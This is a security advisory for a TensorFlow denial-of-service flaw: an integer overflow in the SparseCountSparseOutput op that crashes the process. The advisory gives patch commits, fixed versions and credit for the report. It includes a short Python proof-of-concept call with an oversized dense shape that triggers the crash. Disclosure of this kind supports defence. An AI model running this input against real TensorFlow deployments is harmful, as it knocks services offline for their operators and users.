PT-2026-59873 · Pypi · Tensorflow

Published

2026-07-09

·

Updated

2026-07-09

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Impact

The [implementation of SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
python
import tensorflow as tf
import numpy as np
  
tf.raw ops.SparseCountSparseOutput(
 indices=[[1,1]],
 values=[2],
 dense shape=[2 ** 31, 2 ** 32],
 weights=[1],
 binary output=True,
 minlength=-1,
 maxlength=-1,
 name=None)

Patches

We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3258

Affected Products

Tensorflow